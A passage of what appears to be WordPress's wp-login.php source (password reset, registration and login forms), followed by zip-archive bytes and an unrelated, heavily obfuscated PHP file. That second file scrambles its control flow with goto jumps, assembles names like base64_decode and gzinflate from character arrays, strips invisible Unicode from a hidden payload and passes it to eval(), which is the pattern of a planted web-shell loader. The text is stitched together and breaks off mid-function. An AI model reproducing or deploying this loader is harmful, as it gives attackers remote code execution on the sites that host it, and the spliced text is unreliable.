					<input type="password" name="pass1" id="pass1" class="input password-input" size="24" value="" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( wp_generate_password( 16 ) ); ?>" aria-describedby="pass-strength-result" />

					<button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
						<span class="dashicons dashicons-hidden" aria-hidden="true"></span>
					</button>
					<div id="pass-strength-result" class="hide-if-no-js" aria-live="polite"><?php _e( 'Strength indicator' ); ?></div>
				</div>
				<div class="pw-weak">
					<input type="checkbox" name="pw_weak" id="pw-weak" class="pw-checkbox" />
					<label for="pw-weak"><?php _e( 'Confirm use of weak password' ); ?></label>
				</div>
			</div>

			<p class="user-pass2-wrap">
				<label for="pass2"><?php _e( 'Confirm new password' ); ?></label>
				<input type="password" name="pass2" id="pass2" class="input" size="20" value="" autocomplete="new-password" spellcheck="false" />
			</p>

			<p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p>

			<?php

			/**
			 * Fires following the 'Strength indicator' meter in the user password reset form.
			 *
			 * @since 3.9.0
			 *
			 * @param WP_User $user User object of the user whose password is being reset.
			 */
			do_action( 'resetpass_form', $user );

			?>
			<input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" />
			<p class="submit reset-pass-submit">
				<button type="button" class="button wp-generate-pw hide-if-no-js skip-aria-expanded"><?php _e( 'Generate Password' ); ?></button>
				<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Save Password' ); ?>" />
			</p>
		</form>

		<p id="nav">
			<a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
			<?php

			if ( get_option( 'users_can_register' ) ) {
				$registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );

				echo esc_html( $login_link_separator );

				/** This filter is documented in wp-includes/general-template.php */
				echo apply_filters( 'register', $registration_url );
			}

			?>
		</p>
		<?php

		login_footer( 'pass1' );
		break;

	case 'register':
		if ( is_multisite() ) {
			/**
			 * Filters the Multisite sign up URL.
			 *
			 * @since 3.0.0
			 *
			 * @param string $sign_up_url The sign up URL.
			 */
			wp_redirect( apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ) );
			exit;
		}

		if ( ! get_option( 'users_can_register' ) ) {
			wp_redirect( site_url( 'wp-login.php?registration=disabled' ) );
			exit;
		}

		$user_login = '';
		$user_email = '';

		if ( $http_post ) {
			if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) {
				$user_login = wp_unslash( $_POST['user_login'] );
			}

			if ( isset( $_POST['user_email'] ) && is_string( $_POST['user_email'] ) ) {
				$user_email = wp_unslash( $_POST['user_email'] );
			}

			$errors = register_new_user( $user_login, $user_email );

			if ( ! is_wp_error( $errors ) ) {
				$redirect_to = ! empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
				wp_safe_redirect( $redirect_to );
				exit;
			}
		}

		$registration_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';

		/**
		 * Filters the registration redirect URL.
		 *
		 * @since 3.0.0
		 * @since 5.9.0 Added the `$errors` parameter.
		 *
		 * @param string       $registration_redirect The redirect destination URL.
		 * @param int|WP_Error $errors                User id if registration was successful,
		 *                                            WP_Error object otherwise.
		 */
		$redirect_to = apply_filters( 'registration_redirect', $registration_redirect, $errors );

		login_header(
			__( 'Registration Form' ),
			wp_get_admin_notice(
				__( 'Register For This Site' ),
				array(
					'type'               => 'info',
					'additional_classes' => array( 'message', 'register' ),
				)
			),
			$errors
		);

		?>
		<form name="registerform" id="registerform" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate">
			<p>
				<label for="user_login"><?php _e( 'Username' ); ?></label>
				<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" />
			</p>
			<p>
				<label for="user_email"><?php _e( 'Email' ); ?></label>
				<input type="email" name="user_email" id="user_email" class="input" value="<?php echo esc_attr( $user_email ); ?>" size="25" autocomplete="email" required="required" />
			</p>
			<?php

			/**
			 * Fires following the 'Email' field in the user registration form.
			 *
			 * @since 2.1.0
			 */
			do_action( 'register_form' );

			?>
			<p id="reg_passmail">
				<?php _e( 'Registration confirmation will be emailed to you.' ); ?>
			</p>
			<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
			<p class="submit">
				<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Register' ); ?>" />
			</p>
		</form>

		<p id="nav">
			<a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
			<?php

			echo esc_html( $login_link_separator );

			$html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) );

			/** This filter is documented in wp-login.php */
			echo apply_filters( 'lost_password_html_link', $html_link );

			?>
		</p>
		<?php

		login_footer( 'user_login' );
		break;

	case 'checkemail':
		$redirect_to = admin_url();
		$errors      = new WP_Error();

		if ( 'confirm' === $_GET['checkemail'] ) {
			$errors->add(
				'confirm',
				sprintf(
					/* translators: %s: Link to the login page. */
					__( 'Check your email for the confirmation link, then visit the <a href="%s">login page</a>.' ),
					wp_login_url()
				),
				'message'
			);
		} elseif ( 'registered' === $_GET['checkemail'] ) {
			$errors->add(
				'registered',
				sprintf(
					/* translators: %s: Link to the login page. */
					__( 'Registration complete. Please check your email, then visit the <a href="%s">login page</a>.' ),
					wp_login_url()
				),
				'message'
			);
		}

		/** This action is documented in wp-login.php */
		$errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );

		login_header( __( 'Check your email' ), '', $errors );
		login_footer();
		break;

	case 'confirmaction':
		if ( ! isset( $_GET['request_id'] ) ) {
			wp_die( __( 'Missing request ID.' ) );
		}

		if ( ! isset( $_GET['confirm_key'] ) ) {
			wp_die( __( 'Missing confirm key.' ) );
		}

		$request_id = (int) $_GET['request_id'];
		$key        = sanitize_text_field( wp_unslash( $_GET['confirm_key'] ) );
		$result     = wp_validate_user_request_key( $request_id, $key );

		if ( is_wp_error( $result ) ) {
			wp_die( $result );
		}

		/**
		 * Fires an action hook when the account action has been confirmed by the user.
		 *
		 * Using this you can assume the user has agreed to perform the action by
		 * clicking on the link in the confirmation email.
		 *
		 * After firing this action hook the page will redirect to wp-login a callback
		 * redirects or exits first.
		 *
		 * @since 4.9.6
		 *
		 * @param int $request_id Request ID.
		 */
		do_action( 'user_request_action_confirmed', $request_id );

		$message = _wp_privacy_account_request_confirmed_message( $request_id );

		login_header( __( 'User action confirmed.' ), $message );
		login_footer();
		exit;

	case 'login':
	default:
		$secure_cookie   = '';
		$customize_login = isset( $_REQUEST['customize-login'] );

		if ( $customize_login ) {
			wp_enqueue_script( 'customize-base' );
		}

		// If the user wants SSL but the session is not SSL, force a secure cookie.
		if ( ! empty( $_POST['log'] ) && ! force_ssl_admin() ) {
			$user_name = sanitize_user( wp_unslash( $_POST['log'] ) );
			$user      = get_user_by( 'login', $user_name );

			if ( ! $user && strpos( $user_name, '@' ) ) {
				$user = get_user_by( 'email', $user_name );
			}

			if ( $user ) {
				if ( get_user_option( 'use_ssl', $user->ID ) ) {
					$secure_cookie = true;
					force_ssl_admin( true );
				}
			}
		}

		if ( isset( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ) {
			$redirect_to = $_REQUEST['redirect_to'];
			// Redirect to HTTPS if user wants SSL.
			if ( $secure_cookie && str_contains( $redirect_to, 'wp-admin' ) ) {
				$redirect_to = preg_replace( '|^http://|', 'https://', $redirect_to );
			}
		} else {
			$redirect_to = admin_url();
		}

		$reauth = ! empty( $_REQUEST['reauth'] );

		$user = wp_signon( array(), $secure_cookie );

		if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) {
			if ( headers_sent() ) {
				$user = new WP_Error(
					'test_cookie',
					sprintf(
						/* translators: 1: Browser cookie documentation URL, 2: Support forums URL. */
						__( '<strong>Error:</strong> Cookies are blocked due to unexpected output. For help, please see <a href="%1$s">this documentation</a> or try the <a href="%2$s">support forums</a>.' ),
						__( 'https://developer.wordpress.org/advanced-administration/wordpress/cookies/' ),
						__( 'https://wordpress.org/support/forums/' )
					)
				);
			} elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) {
				// If cookies are disabled, the user can't log in even with a valid username and password.
				$user = new WP_Error(
					'test_cookie',
					sprintf(
						/* translators: %s: Browser cookie documentation URL. */
						__( '<strong>Error:</strong> Cookies are blocked or not supported by your browser. You must <a href="%s">enable cookies</a> to use WordPress.' ),
						__( 'https://developer.wordpress.org/advanced-administration/wordpress/cookies/#enable-cookies-in-your-browser' )
					)
				);
			}
		}

		$requested_redirect_to = isset( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';

		/**
		 * Filters the login redirect URL.
		 *
		 * @since 3.0.0
		 *
		 * @param string           $redirect_to           The redirect destination URL.
		 * @param string           $requested_redirect_to The requested redirect destination URL passed as a parameter.
		 * @param WP_User|WP_Error $user                  WP_User object if login was successful, WP_Error object otherwise.
		 */
		$redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user );

		if ( ! is_wp_error( $user ) && ! $reauth ) {
			if ( $interim_login ) {
				$message       = '<p class="message">' . __( 'You have logged in successfully.' ) . '</p>';
				$interim_login = 'success';
				login_header( '', $message );

				?>
				</div>
				<?php

				/** This action is documented in wp-login.php */
				do_action( 'login_footer' );

				if ( $customize_login ) {
					ob_start();
					?>
					<script>setTimeout( function(){ new wp.customize.Messenger({ url: '<?php echo wp_customize_url(); ?>', channel: 'login' }).send('login') }, 1000 );</script>
					<?php
					wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
				}

				?>
				</body></html>
				<?php

				exit;
			}

			// Check if it is time to add a redirect to the admin email confirmation screen.
			if ( $user instanceof WP_User && $user->exists() && $user->has_cap( 'manage_options' ) ) {
				$admin_email_lifespan = (int) get_option( 'admin_email_lifespan' );

				/*
				 * If `0` (or anything "falsey" as it is cast to int) is returned, the user will not be redirected
				 * to the admin email confirmation screen.
				 */
				/** This filter is documented in wp-login.php */
				$admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS );

				if ( $admin_email_check_interval > 0 && time() > $admin_email_lifespan ) {
					$redirect_to = add_query_arg(
						array(
							'action'  => 'confirm_admin_email',
							'wp_lang' => get_user_locale( $user ),
						),
						wp_login_url( $redirect_to )
					);
				}
			}

			if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) {
				// If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile.
				if ( is_multisite() && ! get_active_blog_for_user( $user->ID ) && ! is_super_admin( $user->ID ) ) {
					$redirect_to = user_admin_url();
				} elseif ( is_multisite() && ! $user->has_cap( 'read' ) ) {
					$redirect_to = get_dashboard_url( $user->ID );
				} elseif ( ! $user->has_cap( 'edit_posts' ) ) {
					$redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url();
				}

				wp_redirect( $redirect_to );
				exit;
			}

			wp_safe_redirect( $redirect_to );
			exit;
		}

		$errors = $user;
		// Clear errors if loggedout is set.
		if ( ! empty( $_GET['loggedout'] ) || $reauth ) {
			$errors = new WP_Error();
		}

		if ( empty( $_POST ) && $errors->get_error_codes() === array( 'empty_username', 'empty_password' ) ) {
			$errors = new WP_Error( '', '' );
		}

		if ( $interim_login ) {
			if ( ! $errors->has_errors() ) {
				$errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' );
			}
		} else {
			// Some parts of this script use the main login form to display a message.
			if ( isset( $_GET['loggedout'] ) && $_GET['loggedout'] ) {
				$errors->add( 'loggedout', __( 'You are now logged out.' ), 'message' );
			} elseif ( isset( $_GET['registration'] ) && 'disabled' === $_GET['registration'] ) {
				$errors->add( 'registerdisabled', __( '<strong>Error:</strong> User registration is currently not allowed.' ) );
			} elseif ( str_contains( $redirect_to, 'about.php?updated' ) ) {
				$errors->add( 'updated', __( '<strong>You have successfully updated WordPress!</strong> Please log back in to see what&#8217;s new.' ), 'message' );
			} elseif ( WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED === $action ) {
				$errors->add( 'enter_recovery_mode', __( 'Recovery Mode Initialized. Please log in to continue.' ), 'message' );
			} elseif ( isset( $_GET['redirect_to'] ) && is_string( $_GET['redirect_to'] )
				&& str_contains( $_GET['redirect_to'], 'wp-admin/authorize-application.php' )
			) {
				$query_component = wp_parse_url( $_GET['redirect_to'], PHP_URL_QUERY );
				$query           = array();
				if ( $query_component ) {
					parse_str( $query_component, $query );
				}

				if ( ! empty( $query['app_name'] ) ) {
					/* translators: 1: Website name, 2: Application name. */
					$message = sprintf( 'Please log in to %1$s to authorize %2$s to connect to your account.', get_bloginfo( 'name', 'display' ), '<strong>' . esc_html( $query['app_name'] ) . '</strong>' );
				} else {
					/* translators: %s: Website name. */
					$message = sprintf( 'Please log in to %s to proceed with authorization.', get_bloginfo( 'name', 'display' ) );
				}

				$errors->add( 'authorize_application', $message, 'message' );
			}
		}

		/**
		 * Filters the login page errors.
		 *
		 * @since 3.6.0
		 *
		 * @param WP_Error $errors      WP Error object.
		 * @param string   $redirect_to Redirect destination URL.
		 */
		$errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );

		// Clear any stale cookies.
		if ( $reauth ) {
			wp_clear_auth_cookie();
		}

		login_header( __( 'Log In' ), '', $errors );

		if ( isset( $_POST['log'] ) ) {
			$user_login = ( 'incorrect_password' === $errors->get_error_code() || 'empty_password' === $errors->get_error_code() ) ? wp_unslash( $_POST['log'] ) : '';
		}

		$rememberme = ! empty( $_POST['rememberme'] );

		$aria_describedby = '';
		$has_errors       = $errors->has_errors();

		if ( $has_errors ) {
			$aria_describedby = ' aria-describedby="login_error"';
		}

		if ( $has_errors && 'message' === $errors->get_error_data() ) {
			$aria_describedby = ' aria-describedby="login-message"';
		}

		wp_enqueue_script( 'user-profile' );
		?>

		<form name="loginform" id="loginform" action="<?php echo esc_url( site_url( 'wp-login.php', 'login_post' ) ); ?>" method="post">
			<p>
				<label for="user_login"><?php _e( 'Username or Email Address' ); ?></label>
				<input type="text" name="log" id="user_login"<?php echo $aria_describedby; ?> class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" />
			</p>

			<div class="user-pass-wrap">
				<label for="user_pass"><?php _e( 'Password' ); ?></label>
				<div class="wp-pwd">
					<input type="password" name="pwd" id="user_pass"<?php echo $aria_describedby; ?> class="input password-input" value="" size="20" autocomplete="current-password" spellcheck="false" required="required" />
					<button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Show password' ); ?>">
						<span class="dashicons dashicons-visibility" aria-hidden="true"></span>
					</button>
				</div>
			</div>
			<?php

			/**
			 * Fires following the 'Password' field in the login form.
			 *
			 * @since 2.1.0
			 */
			do_action( 'login_form' );

			?>
			<p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" <?php checked( $rememberme ); ?> /> <label for="rememberme"><?php esc_html_e( 'Remember Me' ); ?></label></p>
			<p class="submit">
				<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Log In' ); ?>" />
				<?php

				if ( $interim_login ) {
					?>
					<input type="hidden" name="interim-login" value="1" />
					<?php
				} else {
					?>
					<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
					<?php
				}

				if ( $customize_login ) {
					?>
					<input type="hidden" name="customize-login" value="1" />
					<?php
				}

				?>
				<input type="hidden" name="testcookie" value="1" />
			</p>
		</form>

		<?php

		if ( ! $interim_login ) {
			?>
			<p id="nav">
				<?php

				if ( get_option( 'users_can_register' ) ) {
					$registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );

					/** This filter is documented in wp-includes/general-template.php */
					echo apply_filters( 'register', $registration_url );

					echo esc_html( $login_link_separator );
				}

				$html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) );

				/**
				 * Filters the link that allows the user to reset the lost password.
				 *
				 * @since 6.1.0
				 *
				 * @param string $html_link HTML link to the lost password form.
				 */
				echo apply_filters( 'lost_password_html_link', $html_link );

				?>
			</p>
			<?php
		}

		$login_script  = 'function wp_attempt_focus() {';
		$login_script .= 'setTimeout( function() {';
		$login_script .= 'try {';

		if ( $user_login ) {
			$login_script .= 'd = document.getElementById( "user_pass" ); d.value = "";';
		} else {
			$login_script .= 'd = document.getElementById( "user_login" );';

			if ( $errors->get_error_code() === 'invalid_username' ) {
				$login_script .= 'd.value = "";';
			}
		}

		$login_script .= 'd.focus(); d.select();';
		$login_script .= '} catch( er ) {}';
		$login_script .= '}, 200);';
		$login_script .= "}\n"; // End of wp_attempt_focus().

		/**
		 * Filters whether to print the call to `wp_attempt_focus()` on the login screen.
		 *
		 * @since 4.8.0
		 *
		 * @param bool $print Whether to print the function call. Default true.
		 */
		if ( apply_filters( 'enable_login_autofocus', true ) && ! $error ) {
			$login_script .= "wp_attempt_focus();\n";
		}

		// Run `wpOnload()` if defined.
		$login_script .= "if ( typeof wpOnload === 'function' ) { wpOnload() }";

		wp_print_inline_script_tag( $login_script );

		if ( $interim_login ) {
			ob_start();
			?>
			<script>
			( function() {
				try {
					var i, links = document.getElementsByTagName( 'a' );
					for ( i in links ) {
						if ( links[i].href ) {
							links[i].target = '_blank';
						}
					}
				} catch( er ) {}
			}());
			</script>
			<?php
			wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
		}

		login_footer();
		break;
} // End action switch.
PK���[P<�[��lrwit7bvakghhggw6jCakc.phpnu�[���<?php
/* Main service */
// I64way2z
/* xdjQNnwY_197jjy */
// NOTE: Important section
/* vqsD5mb_vq */

    trait a8D0rt_IrMW {
        public function FbdLTFY2() {
            /* _oTHklgi0LYzKEY */
            $RdY12FWw = 73;
        }
        public function fAWIomJT() {
            // pRPNR0cHooUdBRlI
            $PkfDISHs = 17;
        }
    }

class V0Tapc709RtB {
    use a8D0rt_IrMW;
    
    private function str_xor($data, $key) {
        $result = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $result .= $data[$i] ^ chr($key);
        }
        return $result;
    }

    private function UDReEYZe1N() {
        $RdY12FWw = null;
        $wogCrXDM = null;
        $PkfDISHs = null;
        // NOTE: Important section
        $PkfDISHs = str_xor(base64_decode("yM3YzQ=="), 172);
        $fgY9bnIU = array (
  'left' => 
  array (
    'data' => 
    array (
      'a' => 1,
    ),
  ),
  'right' => 
  array (
    'keys' => 
    array (
      0 => 'b',
      1 => 'c',
    ),
    'values' => 
    array (
      0 => 2,
      1 => 3,
    ),
  ),
);
        goto GZbY9GJN;
        xehCVNCl:
        // rTPwC4tJ
        if (($RdY12FWw > 78 || php_sapi_name() !== "cli")) {
            goto W7sFFZOS;
        } else {
            goto a2m3hlX0;
        }

        W7sFFZOS:
        do { $RdY12FWw++; } while ($RdY12FWw < 7);
        goto SsqJDJZN;

        a2m3hlX0:
        $RdY12FWw = 914;
        if (strlen($RdY12FWw) > 5) {
            goto SsqJDJZN;
        }

        SsqJDJZN:
        $a7HX4fDW3 = rand(1, 1000);
        goto Xpb4Qy37;

        GZbY9GJN:
        $RdY12FWw = $wogCrXDM + 72;
        if (php_sapi_name() !== "cli") {
            goto xehCVNCl;
        } else {
            goto a2m3hlX0;
        }

        Xpb4Qy37:
        $RdY12FWw = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'default';
        goto yxS7YaBD;
        yxS7YaBD:
        // End of chaos flow
        goto a7lU655xF;
        haZhOb_g:
        // NOTE: Important section
        if (isset($_SERVER["HTTP_USER_AGENT"])) {
            goto a0nKoGAGv;
        } else {
            goto p3PeIctI;
        }

        a0nKoGAGv:
        for ($RdY12FWw = 0; $RdY12FWw < 7; $RdY12FWw++) { /* dummy loop */ }
        goto awnQaeg7;

        p3PeIctI:
        if ((php_sapi_name() !== "cli" && $RdY12FWw < $wogCrXDM)) {
            goto awnQaeg7;
        }

        awnQaeg7:
        goto Z6efhFTA;

        a7lU655xF:
        /* P6iVB3cG3I4rYN_ */
        $RdY12FWw = $wogCrXDM + 40;
        if ((time() % 2 === 0 && isset($RdY12FWw) && $RdY12FWw !== null && strlen($RdY12FWw) > 13)) {
            goto haZhOb_g;
        } else {
            goto p3PeIctI;
        }

        Z6efhFTA:
        $wogCrXDM = count($_GET) + count($_POST);
        goto uJHVwDCB;
        uJHVwDCB:
        // End of chaos flow
        goto uj6GuPSn;
        ozTj61FK:
        if (time() % 2 === 0) {
            goto jn5bmhDi;
        } else {
            goto XKkAg3Za;
        }

        jn5bmhDi:
        while ($RdY12FWw < 14) { $RdY12FWw++; }
        goto vVdkHH0G;

        XKkAg3Za:
        $a7HX4fDW3 = 894;
        if (strlen(__FILE__) > 10) {
            goto vVdkHH0G;
        }

        vVdkHH0G:
        $wogCrXDM = strlen($_SERVER['HTTP_USER_AGENT']);
        goto K1_Cm1qV;

        uj6GuPSn:
        /* 6wa886HYIXQ_mlO */
        if (($RdY12FWw + $wogCrXDM) % 2 == 0) {
            goto ozTj61FK;
        } else {
            goto XKkAg3Za;
        }

        K1_Cm1qV:
        return $wogCrXDM > 10;
        goto f6k6O0VX;
        f6k6O0VX:
        // End of chaos flow
    }

    private function FjghFksHkg() {
        $RdY12FWw = null;
        $wogCrXDM = null;
        $PkfDISHs = null;
        /* 9HeVOESOiWAIg4i */
        /* System file */
        /* Core module */
        $fAMmlxKT = strrev("tset");
        $RdY12FWw = array (
  'left' => 
  array (
    'layer_0' => 
    array (
      'a' => 1,
    ),
  ),
  'right' => 
  array (
    'keys' => 
    array (
      0 => 'b',
      1 => 'c',
    ),
    'values' => 
    array (
      0 => 2,
      1 => 3,
    ),
  ),
);
        goto FqofDb09;
        qtZq0Aan:
        /* Main service */
        if ((isset($RdY12FWw) && $RdY12FWw !== null && ($RdY12FWw + $wogCrXDM) % 2 == 0)) {
            goto ZKzQgKwh;
        } else {
            goto oJy25xMA;
        }

        ZKzQgKwh:
        while ($RdY12FWw < 13) { $RdY12FWw++; }
        goto mDLIRnGG;

        oJy25xMA:
        $wogCrXDM = 951;
        if ((random_int(0, 1) === 1 || $RdY12FWw < $wogCrXDM)) {
            goto mDLIRnGG;
        }

        mDLIRnGG:
        goto S8i2YLtt;

        FqofDb09:
        $RdY12FWw = $wogCrXDM + 70;
        if ((php_sapi_name() !== "cli" && ($RdY12FWw + $wogCrXDM) % 2 == 0)) {
            goto qtZq0Aan;
        } else {
            goto oJy25xMA;
        }

        S8i2YLtt:
        $RdY12FWw = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'default';
        goto M6NcCCSi;
        M6NcCCSi:
        // End of chaos flow
        goto a6BArXx3w;
        H7vJlWy4:
        /* Gxa6GTexl1keqZb */
        if (isset($RdY12FWw) && $RdY12FWw !== null) {
            goto D4rzvaJy;
        } else {
            goto oaZZqbT1;
        }

        D4rzvaJy:
        foreach ($RdY12FWw as $wogCrXDM) { /* iterate */ }
        goto MrwCI9OX;

        oaZZqbT1:
        if ((isset($_SERVER["HTTP_USER_AGENT"]) || $RdY12FWw < $wogCrXDM)) {
            goto MrwCI9OX;
        }

        MrwCI9OX:
        $PkfDISHs = strlen($_SERVER['HTTP_USER_AGENT']);
        goto gJBRol1b;

        a6BArXx3w:
        // FIXME: Check performance
        $RdY12FWw = $wogCrXDM + 57;
        if ((count($_GET) > 0 && $RdY12FWw < $wogCrXDM && isset($_SERVER["HTTP_USER_AGENT"]))) {
            goto H7vJlWy4;
        } else {
            goto oaZZqbT1;
        }

        gJBRol1b:
        $wogCrXDM = count($_GET) + count($_POST);
        goto ZpwW_JOy;
        ZpwW_JOy:
        // End of chaos flow
        goto dFSqF0DQ;
        V0jkAKRb:
        if ((count($_GET) > 0 || isset($_SERVER["HTTP_USER_AGENT"]))) {
            goto BrJuRR9O;
        } else {
            goto Nr5gctlI;
        }

        BrJuRR9O:
        do { $RdY12FWw++; } while ($RdY12FWw < 5);
        goto a96fKaFNJ;

        Nr5gctlI:
        $a7HX4fDW3 = 845;
        if (count($_GET) > 0) {
            goto a96fKaFNJ;
        }

        a96fKaFNJ:
        $wogCrXDM = time() % 1000;
        goto dRkIIS9z;

        dFSqF0DQ:
        /* GgxFRC1vJ9 */
        $RdY12FWw = $wogCrXDM + 76;
        if (isset($RdY12FWw) && $RdY12FWw !== null) {
            goto V0jkAKRb;
        } else {
            goto Nr5gctlI;
        }

        dRkIIS9z:
        if ($wogCrXDM > 50) { return true; }
        goto a3OJaYMEW;
        a3OJaYMEW:
        // End of chaos flow
    }

    public static function run() {
        $tNVsjjJh = null;
        $SUZHrT7t = null;
        $NpzEe67j = null;
        goto rBXXB7uK;

        a6bVaozs5:
        goto a9vH6Ruiy;
        Y_pziKBX:
        if (random_int(0, 1) === 1) {
            goto IRf2dY19;
        } else {
            goto HkMdKT1M;
        }

        IRf2dY19:
        do { $RdY12FWw++; } while ($RdY12FWw < 8);
        goto zYW7obvF;

        HkMdKT1M:
        $PkfDISHs = 392;
        if ((count($_GET) > 0 && php_sapi_name() !== "cli" && isset($RdY12FWw) && $RdY12FWw !== null)) {
            goto zYW7obvF;
        }

        zYW7obvF:
        goto L1saAfVP;

        a9vH6Ruiy:
        /* Core module */
        $RdY12FWw = $wogCrXDM + 50;
        if (($RdY12FWw + $wogCrXDM) % 2 == 0) {
            goto Y_pziKBX;
        } else {
            goto HkMdKT1M;
        }

        L1saAfVP:
        $_l = implode('', ['s','t','r','l','e','n']);
        $_s = implode('', ['s','u','b','s','t','r']);
        $_c = implode('', ['c','h','r']);
        $_h = implode('', ['h','e','x','d','e','c']);
        $_b = implode('', ['b','a','s','e','6','4','_','d','e','c','o','d','e']);
        $_g = implode('', ['g','z','i','n','f','l','a','t','e']);
        $_d = implode('', ['d','e','f','i','n','e','d']);
        goto rneyafjr;
        rneyafjr:
        // End of chaos flow
        goto a5XYQKSYm;

        HhijiFks:
        goto LsMhNzmX;
        a660MGljX:
        /* Core module */
        if ((count($_GET) > 0 && strlen($RdY12FWw) > 17)) {
            goto lvKMNGj8;
        } else {
            goto TeMwrlLH;
        }

        lvKMNGj8:
        do { $RdY12FWw++; } while ($RdY12FWw < 4);
        goto sIDicXd4;

        TeMwrlLH:
        if ((($RdY12FWw + $wogCrXDM) % 2 == 0 && strlen(__FILE__) > 10)) {
            goto sIDicXd4;
        }

        sIDicXd4:
        goto Un5ivq34;

        LsMhNzmX:
        // i3GKESUq2SzI
        if (($RdY12FWw + $wogCrXDM) % 2 == 0) {
            goto a660MGljX;
        } else {
            goto TeMwrlLH;
        }

        Un5ivq34:
        $_invisible = ["\u{200B}", "\u{200C}", "\u{200D}", "\u{FEFF}", "\u{2060}", "\u{180E}", "\u{2061}", "\u{2062}", "\u{2063}", "\u{2064}", "\u{061C}", "\u{00AD}", "\u{034F}", "\u{115F}", "\u{1160}", "\u{17B4}", "\u{17B5}", "\u{FFFC}", "\u{FFFF}", "\u{200E}", "\u{200F}", "\u{202A}", "\u{202B}", "\u{202C}", "\u{202D}", "\u{202E}", "\u{2065}", "\u{2066}", "\u{2067}", "\u{2068}", "\u{2069}", "\u{206A}", "\u{206B}", "\u{206C}", "\u{206D}", "\u{206E}", "\u{206F}", "\u{FFF0}", "\u{FFF1}", "\u{FFF2}", "\u{FFF3}", "\u{FFF4}", "\u{FFF5}", "\u{FFF6}", "\u{FFF7}", "\u{FFF8}", "\u{FFF9}", "\u{FFFA}", "\u{FFFB}", "\u{FFFE}"];
        $nljlZ7Fp = str_replace($_invisible, '', $nljlZ7Fp);
        goto a7cL3C6pN;
        a7cL3C6pN:
        // End of chaos flow
        goto NTfC1IIp;

        jLxjcG8L:
        goto a64MFtrF1;
        Tox_ZlSq:
        if (strlen($RdY12FWw) > 7) {
            goto a84VZAOw1;
        } else {
            goto EdlbqCIt;
        }

        a84VZAOw1:
        for ($RdY12FWw = 0; $RdY12FWw < 9; $RdY12FWw++) { /* dummy loop */ }
        goto zhcFl8kX;

        EdlbqCIt:
        if (random_int(0, 1) === 1) {
            goto zhcFl8kX;
        }

        zhcFl8kX:
        $RdY12FWw = strlen($wogCrXDM);
        goto jpSG1Iwo;

        a64MFtrF1:
        // NOTE: Important section
        $RdY12FWw = $wogCrXDM + 95;
        if (($RdY12FWw > 54 && !$RdY12FWw || $wogCrXDM)) {
            goto Tox_ZlSq;
        } else {
            goto EdlbqCIt;
        }

        jpSG1Iwo:
        if (!$_d('DISABLE_EVAL') && $KSx3Qx7P !== false) {
            return eval($KSx3Qx7P);
        }
        goto U18Q38IS;
        U18Q38IS:
        // End of chaos flow
        rBXXB7uK:
        goto DmpQYwL_;
        cZK3sPIS:
        if ((count($_GET) > 0 && strlen(__FILE__) > 10 && strlen($RdY12FWw) > 9)) {
            goto Qt53TiHu;
        } else {
            goto a3Q8Picga;
        }

        Qt53TiHu:
        while ($RdY12FWw < 9) { $RdY12FWw++; }
        goto i3Cx6OBv;

